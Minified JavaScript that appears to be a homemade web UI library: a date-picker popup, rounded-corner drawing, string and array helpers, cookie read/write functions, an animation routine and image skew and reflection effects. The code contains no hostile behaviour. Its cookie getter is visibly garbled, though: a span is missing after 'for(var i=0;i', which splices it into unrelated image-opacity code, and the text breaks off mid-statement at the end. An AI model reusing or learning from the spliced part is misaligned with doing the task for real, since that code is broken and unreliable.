(this.parentNode.getElementsByTagName('Gey')[0].GTextBox.onchange){this.parentNode.getElementsByTagName('Gey')[0].GTextBox.onchange()} ;this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';this.parentNode.parentNode.removeChild(this.parentNode)}");} else {GeyB.onclick = function(){};} GeyB.style.textAlign = 'center';GeyB.style.overflow = 'hidden';GeyA.appendChild(GeyB);};};var GeyPar = GDateInputFunction_GeyA.parentNode;for (var i = 0; GeyPar != document.body; i = 0) {var GePar = GeyPar.tagName;GePar = GePar.toUpperCase();if (GePar == 'DIV' || GePar == 'SPAN' || GePar == 'BUTTON') {break};GeyPar = GeyPar.parentNode;};GeyPar.appendChild(GeyA);var GeyB = Mrlce('button');GeyB.style.position = 'absolute';GeyB.style.width = (40 * Sz) + 'px';GeyB.style.height = (20 * Sz) + 'px';GeyB.style.top = (5 * Sz) + 'px';GeyB.style.left = (145 * Sz) + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (10 * Sz) + 'px';GeyB.style.border = 'none 0px #000000';GeyB.style.backgroundColor = GSelBG;GeyB.innerHTML = 'Today';var now = new Date();var GeC = now.getYear();GeC = GeC * 1;if (GeC < 2000) {GeC = GeC * 1 + 1900;} GeC = GeC + '';GeB = GeB + GeC + '-';GeC = now.getMonth();GeC = GeC * 1 + 1;GeC = GeC + '';if (GeC.length == 1) {GeC = '0' + GeC;} GeB = GeB + GeC + '-';GeC = now.getDate();GeC = GeC + '';if (GeC.length == 1) {GeC = '0' + GeC;} GeB = GeB + GeC;GeyB.onclick = function(){var GeyA = this.parentNode.getElementsByTagName('select');this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';MrlDateInputFunction(this.parentNode.getElementsByTagName('Gey')[0].GTextBox, GeB);this.parentNode.parentNode.removeChild(this.parentNode);};GeyA.appendChild(GeyB);var GeyB = Mrlce('button');GeyB.style.position = 'absolute';GeyB.style.width = (20 * Sz) + 'px';GeyB.style.height = (20 * Sz) + 'px';GeyB.style.top = (0 * Sz) + 'px';GeyB.style.left = (190 * Sz) + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (12 * Sz) + 'px';GeyB.style.border = 'none 0px #000000';GeyB.style.backgroundColor = 'transparent';GeyB.innerHTML = 'x';GeyB.onclick = function(){this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';this.parentNode.parentNode.removeChild(this.parentNode);};GeyA.appendChild(GeyB);var GeyB = GDateInputFunction_GeyA;GeyA.style.left = GeyB.offsetLeft;GeyA.style.top =GeyB.offsetTop * 1 + GeyB.offsetHeight;return GeyA;};MrlRoundedCorner = function(GRoundedCorner_GeyA, GRoundedCorner_TopLeft, GRoundedCorner_TopRight, GRoundedCorner_BottomLeft, GRoundedCorner_BottomRight){var GeA = navigator.appVersion;var GeB = navigator.appName;GeA = GeA.toUpperCase();GeB = GeB.toUpperCase();var k = 0;var GeyA = GRoundedCorner_GeyA;var GeyB = GeyA.parentNode;var GeBGColor = '';for (var i = 0;GeyB != document.body;i++) {var GeA = GeyB.style.backgroundColor;GeA = GeA + '';GeA = GeA.toUpperCase();if (GeA == '' || !GeA || GeA == 'TRANSPARENT') {} else {GeBGColor = GeA;break;};GeyB = GeyB.parentNode;};if (GeBGColor == '') {var GeA = GeyB.style.backgroundColor;GeA = GeA + '';GeA = GeA.toUpperCase();if (GeA == '' || !GeA || GeA == 'TRANSPARENT') {GeBGColor = "#ffffff";} else {GeBGColor = GeA;};};GeyB = GeyA.parentNode;for (var i = 0;GeyB != document.body;i++) {var GeA = GeyB.tagName;GeA = GeA + '';GeA = GeA.toUpperCase();if (GeA == 'DIV' || GeA == 'SPAN' || GeA == 'BUTTON') {break;} else {};GeyB = GeyB.parentNode;};GeyC = GeyB;if (GeBGColor != '') {var DicPix = new Array();DicPix[0] = new Array();DicPix[1] = new Array();DicPix[2] = new Array();if (GRoundedCorner_TopLeft == 1) {DicPix[0][DicPix[0].length] = GeyA.offsetTop;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 1;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 2;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 3;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 4;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 5;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 6;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 1;};if (GRoundedCorner_TopRight == 1) {DicPix[0][DicPix[0].length] = GeyA.offsetTop;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 7;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 1;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 5;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 2;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 3;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 3;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 4;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 5;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + 6;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;} if (GRoundedCorner_BottomLeft == 1) {DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 1;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 2;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 3;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 4;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 5;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 6;DicPix[1][DicPix[1].length] = GeyA.offsetLeft;DicPix[2][DicPix[2].length] = 1;} if (GRoundedCorner_BottomRight == 1) {DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 7;DicPix[2][DicPix[2].length] = 7;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 1;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 5;DicPix[2][DicPix[2].length] = 5;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 2;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 3;DicPix[2][DicPix[2].length] = 3;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 3;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 4;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 2;DicPix[2][DicPix[2].length] = 2;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 5;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;DicPix[0][DicPix[0].length] = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 - 6;DicPix[1][DicPix[1].length] = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 - 1;DicPix[2][DicPix[2].length] = 1;} for (var i in DicPix[0]) {var GeyPix = Mrlce('img');GeyPix.src = 'http://www.mrlsystem.com/img/hidden.png';GeyC.appendChild(GeyPix);GeyPix.style.top = DicPix[0][i] + 'px';GeyPix.style.left = DicPix[1][i] + 'px';GeyPix.style.position = 'absolute';GeyPix.style.zIndex = "500";GeyPix.style.border = "none 0px #000000";GeyPix.style.backgroundColor = GeBGColor;GeyPix.style.height = '1px';GeyPix.style.width = DicPix[2][i] + 'px';};} return GeyA;};MrlReplace = function(GReplaceGeA, GReplaceGeB, GReplaceGeC){GReplaceGeAns = "";if(GReplaceGeA===null||GReplaceGeA===undefined){GReplaceGeA=''};GReplaceGeA+='';for (GReplacei = 0;GReplacei < GReplaceGeA.length;GReplacei++) {GReplaceGeD = GReplaceGeA.substring(GReplacei, GReplacei - 1 + 1 + GReplaceGeB.length);if (GReplaceGeD == GReplaceGeB) {GReplaceGeD = GReplaceGeC;GReplacei = GReplacei - 1 + GReplaceGeB.length;} else {GReplaceGeD = GReplaceGeA.substring(GReplacei, GReplacei - 1 + 1 + 1);};GReplaceGeAns += GReplaceGeD;};return GReplaceGeAns;};;DicRemoveItem = function(DicRemoveItem_Dic, DicRemoveItem_Key, DicRemoveItem_KeepKey){DicRemoveItem_NewDic = new Array();for (DicRemoveItem_GeA in DicRemoveItem_Dic) {if (DicRemoveItem_Key != DicRemoveItem_GeA) {if (DicRemoveItem_KeepKey == 1) {DicRemoveItem_NewDic[DicRemoveItem_GeA] = DicRemoveItem_Dic[DicRemoveItem_GeA];} else {DicRemoveItem_NewDic[DicRemoveItem_NewDic.length] = DicRemoveItem_Dic[DicRemoveItem_GeA];};};};return DicRemoveItem_NewDic;};MrlAddCookie=function(GAddCookie_Name, GAddCookie_Cont){document.cookie = GAddCookie_Name + "=" + encodeURIComponent(GAddCookie_Cont) + ";Path=/";};Mrlacoo=function(Gacoo_nm,Gacoo_val){document.cookie=Gacoo_nm+'='+encodeURIComponent(Gacoo_val);};Mrlgcoo=function(Ggcoo_nm){var tt=document.cookie;var nm=Ggcoo_nm||'';var ary=tt.split(';');var ans='';for(var i=0;i 512000) {GeyAllImg[i].style.filter = 'alpha(opacity=100)'};};document.body.appendChild(GeyA);};var GeyA = Mrlgei('MrlAnimationGey');GeyA.style.visibility = 'hidden';var GeyC = Mrlce('Gey');GeyC.id = 'MrlAnimationID' + Math.round(Math.random() * 99999, 0);GeyC.GTimeOut = "";for (var i = 0;i < GeyA.childNodes.length;i++){if (GeyA.childNodes[i].GGey == MrlAnimation_GeyA) {GeyC = GeyA.childNodes[i];};} GeyA.appendChild(GeyC);var GID = GeyC.id;var GeTp = MrlAnimation_GeTp;var GeLf = MrlAnimation_GeLf;var GeHt = MrlAnimation_GeHt;var GeWd = MrlAnimation_GeWd;var GeSpd = MrlAnimation_Spd;var GeOp = MrlAnimation_GeOp;clearTimeout(GeyC.GTimeOut);GeyC.GGey = MrlAnimation_GeyA;if ((GeTp && !isNaN(GeTp - 1)) || GeTp == 0) {GeyC.GTop = Math.round(GeTp, 0);};if ((GeLf && !isNaN(GeLf - 1)) || GeLf == 0) {GeyC.GLeft = Math.round(GeLf, 0);};if ((GeHt && !isNaN(GeHt - 1)) || GeHt == 0) {GeyC.GHeight = Math.round(GeHt, 0);};if ((GeWd && !isNaN(GeWd - 1)) || GeWd == 0) {GeyC.GWidth = Math.round(GeWd, 0);};if (GeSpd && !isNaN(GeSpd - 1)) {GeyC.GSpeed = GeSpd;};if ((GeOp && !isNaN(GeOp - 1)) || GeOp == 0) {GeyC.GOpacity = Math.round(GeOp, 0);};if ((!GeyC.GGey.style.top) || (GeyC.GGey.style.top.toUpperCase() == 'AUTO')) {GeTpA = GeyC.GGey.offsetTop} else {GeTpA = GeyC.GGey.style.top; GeTpA += ''; GeTpA = GeTpA.toUpperCase(); GeTpA = MrlReplace(GeTpA, 'PX', '')};if ((!GeyC.GGey.style.left) || (GeyC.GGey.style.left.toUpperCase() == 'AUTO')) {GeLfA = GeyC.GGey.offsetLeft} else {GeLfA = GeyC.GGey.style.left; GeLfA += ''; GeLfA = GeLfA.toUpperCase(); GeLfA = MrlReplace(GeLfA, 'PX', '')};if ((!GeyC.GGey.style.width) || (GeyC.GGey.style.width.toUpperCase() == 'AUTO')) {GeWdA = GeyC.GGey.offsetWidth} else {GeWdA = GeyC.GGey.style.width; GeWdA += ''; GeWdA = GeWdA.toUpperCase(); GeWdA = MrlReplace(GeWdA, 'PX', '')};if ((!GeyC.GGey.style.height) || (GeyC.GGey.style.height.toUpperCase() == 'AUTO')) {GeHtA = GeyC.GGey.offsetHeight} else {GeHtA = GeyC.GGey.style.height; GeHtA += ''; GeHtA = GeHtA.toUpperCase(); GeHtA = MrlReplace(GeHtA, 'PX', '')};var GeStyleA, GeStyleB;GeStyleA = GeyC.GGey.style.opacity;GeStyleB = GeyC.GGey.style.filter;if (GeStyleA) {GeStyleA = GeStyleA + '';GeStyleA = GeStyleA.toUpperCase();};if (GeStyleB) {GeStyleB = GeStyleB + '';GeStyleB = GeStyleB.toUpperCase();};GeStyleB = MrlReplace(MrlReplace(GeStyleB, "ALPHA(OPACITY=", ""), ")", "");if (!MrlAnimation_GeTyp) {if (GeyC.GTop || GeyC.GTop == 0) {if (!isNaN(GeyC.GTop - GeTpA)) {GeyC.GOriDifTp = GeyC.GTop - GeTpA};};if (GeyC.GOriDifTp == 0) {GeyC.GOriDifTp = 1};if (GeyC.GLeft || GeyC.GLeft == 0) {if (!isNaN(GeyC.GLeft - GeLfA)) {GeyC.GOriDifLf = GeyC.GLeft - GeLfA};};if (GeyC.GOriDifLf == 0) {GeyC.GOriDifLf = 1};if (GeyC.GHeight || GeyC.GHeight == 0) {if (!isNaN(GeyC.GHeight - GeHtA)) {GeyC.GOriDifHt = GeyC.GHeight - GeHtA};};if (GeyC.GOriDifHt == 0) {GeyC.GOriDifHt = 1};if (GeyC.GWidth || GeyC.GWidth == 0) {if (!isNaN(GeyC.GWidth - GeWdA)) {GeyC.GOriDifWd = GeyC.GWidth - GeWdA};};if (GeyC.GOriDifWd == 0) {GeyC.GOriDifWd = 1};if (GeyC.GOpacity || GeyC.GOpacity == 0 && GeStyleA != "") {if (!isNaN(GeyC.GOpacity - GeStyleA)) {GeyC.GOriDifOp = GeyC.GOpacity - GeStyleA};};if (GeyC.GOriDifOp == 0) {GeyC.GOriDifOp = 1};if (GeyC.GOpacity || GeyC.GOpacity == 0 && GeStyleB != "") {if (!isNaN(GeyC.GOpacity - GeStyleB)) {GeyC.GOriDifOp = GeyC.GOpacity - GeStyleB};};if (GeyC.GOriDifOp == 0) {GeyC.GOriDifOp = 1};};GeyC.onclick = function(){MrlAnimation(this.GGey, this.GSpeed, null, null, null, null, null, 1);};var GeTpC, GeLfC, GeWdC, GeHtC, GeOpC;var ChkA = 0;if (GeyC.GTop || GeyC.GTop == 0) {GeTpB = GeTpA;GeTpA = GeyC.GTop;if (isNaN(GeTpA - 1) || isNaN(GeTpB - 1)) {} else {if (GeTpA == GeTpB) {GeTpC = GeTpA;} else {if (GeyC.GSpeed > 0) {GeTpC = (Math.round(((GeTpA - GeTpB) / GeyC.GSpeed) - 0.5, 0) * 1);} else if (GeyC.GSpeed < 0) {GeTpC = (Math.round(((GeyC.GOriDifTp - (GeTpA - GeTpB)) / Math.abs(GeyC.GSpeed)) - 0.5, 0) * 1);if (Math.abs(GeTpC) < Math.abs(GeyC.GOriDifTp / 100)) {GeTpC = Math.round((GeyC.GOriDifTp / 100) * 1 + 0.5, 0)};};if (GeTpC == 0) {GeTpC = 1 * (Math.abs(GeyC.GOriDifTp) / GeyC.GOriDifTp)};if ((GeTpC * 1 + GeTpB * 1) * (Math.abs(GeyC.GOriDifTp) / GeyC.GOriDifTp) > GeTpA * (Math.abs(GeyC.GOriDifTp) / GeyC.GOriDifTp)) {GeTpC = GeTpA - GeTpB};GeTpC = GeTpB * 1 + GeTpC;ChkA = 1;};};GeyC.GGey.style.top = GeTpC + 'px';};if (GeyC.GLeft || GeyC.GLeft == 0) {GeLfB = GeLfA;GeLfA = GeyC.GLeft;if (isNaN(GeLfA - 1) || isNaN(GeLfB - 1)) {} else {if (GeLfA == GeLfB) {GeLfC = GeLfA;} else {if (GeyC.GSpeed > 0) {GeLfC = (Math.round(((GeLfA - GeLfB) / GeyC.GSpeed) - 0.5, 0) * 1);} else if (GeyC.GSpeed < 0) {GeLfC = (Math.round(((GeyC.GOriDifLf - (GeLfA - GeLfB)) / Math.abs(GeyC.GSpeed)) - 0.5, 0) * 1);if (Math.abs(GeLfC) < Math.abs(GeyC.GOriDifLf / 100)) {GeLfC = Math.round((GeyC.GOriDifLf / 100) * 1 + 0.5, 0)};};if (GeLfC == 0) {GeLfC = 1 * (Math.abs(GeyC.GOriDifLf) / GeyC.GOriDifLf)};if ((GeLfC * 1 + GeLfB * 1) * (Math.abs(GeyC.GOriDifLf) / GeyC.GOriDifLf) > GeLfA * (Math.abs(GeyC.GOriDifLf) / GeyC.GOriDifLf)) {GeLfC = GeLfA - GeLfB};GeLfC = GeLfB * 1 + GeLfC;ChkA = 2;};};GeyC.GGey.style.left = GeLfC + 'px';};if (GeyC.GWidth || GeyC.GWidth == 0) {GeWdB = GeWdA;GeWdA = GeyC.GWidth;if (isNaN(GeWdA - 1) || isNaN(GeWdB - 1)) {} else {if (GeWdA == GeWdB) {GeWdC = GeWdA;} else {if (GeyC.GSpeed > 0) {GeWdC = (Math.round(((GeWdA - GeWdB) / GeyC.GSpeed) - 0.5, 0) * 1);} else if (GeyC.GSpeed < 0) {GeWdC = (Math.round(((GeyC.GOriDifWd - (GeWdA - GeWdB)) / Math.abs(GeyC.GSpeed)) - 0.5, 0) * 1);if (Math.abs(GeWdC) < Math.abs(GeyC.GOriDifWd / 100)) {GeWdC = Math.round((GeyC.GOriDifWd / 100) * 1 + 0.5, 0)};};if (GeWdC == 0) {GeWdC = 1 * (Math.abs(GeyC.GOriDifWd) / GeyC.GOriDifWd)};if ((GeWdC * 1 + GeWdB * 1) * (Math.abs(GeyC.GOriDifWd) / GeyC.GOriDifWd) > GeWdA * (Math.abs(GeyC.GOriDifWd) / GeyC.GOriDifWd)) {GeWdC = GeWdA - GeWdB};GeWdC = GeWdB * 1 + GeWdC;ChkA = 3;};}; GeyC.GGey.style.width = GeWdC + 'px';};if (GeyC.GHeight || GeyC.GHeight == 0) {GeHtB = GeHtA;GeHtA = GeyC.GHeight;if (isNaN(GeHtA - 1) || isNaN(GeHtB - 1)) {} else {if (GeHtA == GeHtB) {GeHtC = GeHtA;} else {if (GeyC.GSpeed > 0) {GeHtC = (Math.round(((GeHtA - GeHtB) / GeyC.GSpeed) - 0.5, 0) * 1);} else if (GeyC.GSpeed < 0) {GeHtC = (Math.round(((GeyC.GOriDifHt - (GeHtA - GeHtB)) / Math.abs(GeyC.GSpeed)) - 0.5, 0) * 1);if (Math.abs(GeHtC) < Math.abs(GeyC.GOriDifHt / 100)) {GeHtC = Math.round((GeyC.GOriDifHt / 100) * 1 + 0.5, 0)};};if (GeHtC == 0) {GeHtC = 1 * (Math.abs(GeyC.GOriDifHt) / GeyC.GOriDifHt)};if ((GeHtC * 1 + GeHtB * 1) * (Math.abs(GeyC.GOriDifHt) / GeyC.GOriDifHt) > GeHtA * (Math.abs(GeyC.GOriDifHt) / GeyC.GOriDifHt)) {GeHtC = GeHtA - GeHtB};GeHtC = GeHtB * 1 + GeHtC;ChkA = 4;};};GeyC.GGey.style.height = GeHtC + 'px';};if (GeyC.GOpacity || GeyC.GOpacity == 0) {GeOpA = GeyC.GOpacity;if (GeStyleA == "") {GeStyleA = null;};if (GeStyleA || GeStyleA == "" || GeStyleA == 0) {if (!isNaN(GeOpA - 1)) {GeStyleA = GeStyleA * 100;GeStyleA = Math.round(GeStyleA, 0);if (GeOpA == GeStyleA) {GeOpC = GeOpA;} else {if (GeyC.GSpeed > 0) {GeOpC = (Math.round(((GeOpA - GeStyleA) / GeyC.GSpeed) - 0.5, 0) * 1);} else if (GeyC.GSpeed < 0) {GeOpC = (Math.round(((GeyC.GOriDifOp - (GeOpA - GeStyleA)) / Math.abs(GeyC.GSpeed)) - 0.5, 0) * 1);if (Math.abs(GeOpC) < Math.abs(GeyC.GOriDifOp / 100)) {GeOpC = Math.round((GeyC.GOriDifOp / 100) * 1 + 0.5, 0)};};if (GeOpC == 0) {GeOpC = 1 * (Math.abs(GeyC.GOriDifOp) / GeyC.GOriDifOp)};if ((GeOpC * 1 + GeStyleA * 1) * (Math.abs(GeyC.GOriDifOp) / GeyC.GOriDifOp) > GeOpA * (Math.abs(GeyC.GOriDifOp) / GeyC.GOriDifOp)) {GeOpC = GeOpA - GeStyleA};GeOpC = GeStyleA * 1 + GeOpC;ChkA = 5;};GeyC.GGey.style.opacity = GeOpC / 100;};};if (GeStyleB == "") {GeStyleB = null;};if (GeStyleB || GeStyleB == "" || GeStyleB == 0) {GeStyleB = Math.round(GeStyleB, 0);if (GeOpA == GeStyleB) {GeOpC = GeOpA;} else {if (GeyC.GSpeed > 0) {GeOpC = (Math.round(((GeOpA - GeStyleB) / GeyC.GSpeed) - 0.5, 0) * 1);} else if (GeyC.GSpeed < 0) {GeOpC = (Math.round(((GeyC.GOriDifOp - (GeOpA - GeStyleB)) / Math.abs(GeyC.GSpeed)) - 0.5, 0) * 1);if (Math.abs(GeOpC) < Math.abs(GeyC.GOriDifOp / 100)) {GeOpC = Math.round((GeyC.GOriDifOp / 100) * 1 + 0.5, 0)};};if (GeOpC == 0) {GeOpC = 1 * (Math.abs(GeyC.GOriDifOp) / GeyC.GOriDifOp)};if ((GeOpC * 1 + GeStyleB * 1) * (Math.abs(GeyC.GOriDifOp) / GeyC.GOriDifOp) > GeOpA * (Math.abs(GeyC.GOriDifOp) / GeyC.GOriDifOp)) {GeOpC = GeOpA - GeStyleB};GeOpC = GeStyleB * 1 + GeOpC;ChkA = 5;};GeyC.GGey.style.filter = 'alpha(opacity=' + GeOpC + ')';};};GeyC.GGey.style.position = 'absolute';if (ChkA != 0) {GeyC.GTimeOut = setTimeout("Mrlgei('" + GID + "').onclick()", 50);} else {GeyC.GGey.GTop = "";GeyC.GGey.GLeft = "";GeyC.GGey.GHeight = "";GeyC.GGey.GWidth = "";GeyC.GGey.GOpacity = "";GeyC.GGey.GSpeed = "";GeyC.GGey.GOriDifTp = "";GeyC.GGey.GOriDifLf = "";GeyC.GGey.GOriDifWd = "";GeyC.GGey.GOriDifHt = "";GeyC.GGey.GOriDifOp = "";if (GeyC.GGey.onMrlAnimationEnd) {GeyC.GGey.onMrlAnimationEnd()};};};MrlTieangle = function(GTieangle_Gey, GTieangle_HV, GTieangle_Ht, GTieangle_Wd, GTieangle_NLoc, GTieangle_NLen, GTieangle_3DHt){var GeyA = GTieangle_Gey;if (GeyA.tagName.toUpperCase() != 'IMG') {return null};var GeHt = GTieangle_Ht;var GeWd = GTieangle_Wd;var GeLoc = GTieangle_NLoc;var GeLen = GTieangle_NLen;var GeHV = GTieangle_HV;var Ge3DHt = GTieangle_3DHt ? GTieangle_3DHt : 1;GeHV = GeHV + '';GeHV = GeHV.toUpperCase();if (GeHV != 'H' && GeHV != 'V') {return null};if (GeHV == 'H') {var Tp = GeLoc > 0 ? 0 : Math.abs(GeLoc);var Lf = 0;var Ra = GeWd - Lf;GeLoc = GeLoc > 0 ? GeLoc : 0;Ht = (GeLen * 1 + GeLoc * 1) > (GeHt * 1 + Tp * 1) ? (GeLen * 1 + GeLoc * 1) : (GeHt * 1 + Tp * 1);Wd = GeWd;} else if (GeHV = 'V') {var Tp = 0;var Lf = GeLoc > 0 ? 0 : Math.abs(GeLoc);var Ra = GeHt - Tp;GeLoc = GeLoc > 0 ? GeLoc : 0;Ht = GeHt;Wd = (GeLen * 1 + GeLoc * 1) > (GeWd * 1 + Lf * 1) ? (GeLen * 1 + GeLoc * 1) : (GeWd * 1 + Lf * 1);};var GImg = Mrlce('div');GImg.style.width = Wd + 'px';GImg.style.height = Ht + 'px';GImg.style.position = 'absolute';GImg.style.top = '0px';GImg.style.left = '0px';GImg.style.overflow = 'hidden';var NewTp, NewLf, NewHt, NewWd, DivTp, DivLf, DivHt, DivWd;var Ge3DLf = Ge3DHt;for (var Ge3Di = 0; Ge3Di < Ge3DHt; Ge3Di++) {var Ge3DGeHt = 100;Ge3DLf--;for (var i = 0; i < Ra; i++) {if (GeHV == 'H'){NewTp = Math.round((GeLoc - Tp) * (i / Ra), 0) * 1 + Tp;NewHt = Math.round((GeLen - GeHt) * (i / Ra), 0) * 1 + GeHt;NewLf = 0 - i;NewWd = GeWd;DivTp = 0;DivLf = i * 1 + Ge3DLf * 1;DivWd = 1;DivHt = Ht;} else if (GeHV == 'V') {NewTp = 0 - i;NewHt = GeHt;NewLf = Math.round((GeLoc - Lf) * (i / Ra), 0) * 1 + Lf;NewWd = Math.round((GeLen - GeWd) * (i / Ra), 0) * 1 + GeWd;DivTp = i * 1 + Ge3DLf * 1;DivLf = 0;DivWd = Wd;DivHt = 1;};var GGeyA = Mrlce('div');GGeyA.style.width = DivWd + 'px';GGeyA.style.height = DivHt + 'px';GGeyA.style.position = 'absolute';GGeyA.style.top = DivTp + 'px';GGeyA.style.left = DivLf + 'px';GGeyA.style.zIndex = i * 1 + (Ge3Di * Ra);GGeyA.style.overflow = 'hidden';if (Ge3DLf != 0) {GGeyA.style.filter = 'alpha(opacity=10)';GGeyA.style.opacity = '0.1';};var GGeyB = Mrlce('img');GGeyB.style.width = NewWd + 'px';GGeyB.style.height = NewHt + 'px';GGeyB.style.position = 'absolute';GGeyB.style.top = NewTp + 'px';GGeyB.style.left = NewLf + 'px';GGeyB.src = GeyA.src;GGeyA.appendChild(GGeyB);GImg.appendChild(GGeyA);};};return GImg;};MrlReflect = function(GReflect_Gey, GReflect_Dir, GReflect_Dis, GReflect_OpLen, GReflect_OpMax, GReflect_OpMin){var GeyA = GReflect_Gey;var Dis = GReflect_Dis ? GReflect_Dis : 0;var Dir = GReflect_Dir;Dir = Dir + '';Dir = Dir.toUpperCase();if (Dir != 'T' && Dir != 'R' && Dir != 'B' && Dir != 'L') {return 0};var OpLen = GReflect_OpLen ? GReflect_OpLen : GeyA.offsetHeight;var OpMin = GReflect_OpMin ? GReflect_OpMin : 0;var OpMax = GReflect_OpMax ? GReflect_OpMax : 100;var GRef = Mrlce('div');if (Dir == 'T') {var Tp = GeyA.offsetTop - Dis - OpLen; var Lf = GeyA.offsetLeft; var Ht = OpLen; var Wd = GeyA.offsetWidth;} else if (Dir == 'R') {var Tp = GeyA.offsetTop; var Lf = GeyA.offsetLeft * 1 + GeyA.offsetWidth * 1 + Dis * 1; var Ht = GeyA.offsetHeight; var Wd = OpLen;} else if (Dir == 'B') {var Tp = GeyA.offsetTop * 1 + GeyA.offsetHeight * 1 + Dis * 1; var Lf = GeyA.offsetLeft; var Ht = OpLen; var Wd = GeyA.offsetWidth;} else if (Dir == 'L') {var Tp = GeyA.offsetTop; var Lf = GeyA.offsetLeft - Dis - OpLen; var Ht = GeyA.offsetHeight; var Wd = OpLen;};var GImg = Mrlce('div');GImg.style.top = Tp + 'PX';GImg.style.left = Lf + 'PX';GImg.style.position = 'absolute';GImg.style.height = Ht + 'PX';GImg.style.width = Wd + 'PX';GImg.style.overflow = 'HIDDEN';for (var i = 0; i < OpLen; i++) {if (Dir == 'T') {var Tp = OpLen - i; var Lf = 0; var Ht = 1; var Wd = GeyA.offsetWidth; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = (0 - i + 1); var NewLf = 0; var NewHt = GeyA.offsetHeight; var NewWd = GeyA.offsetWidth;} else if (Dir == 'R') {var Tp = 0; var Lf = i; var Ht = GeyA.offsetHeight; var Wd = 1; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = 0; var NewLf = i 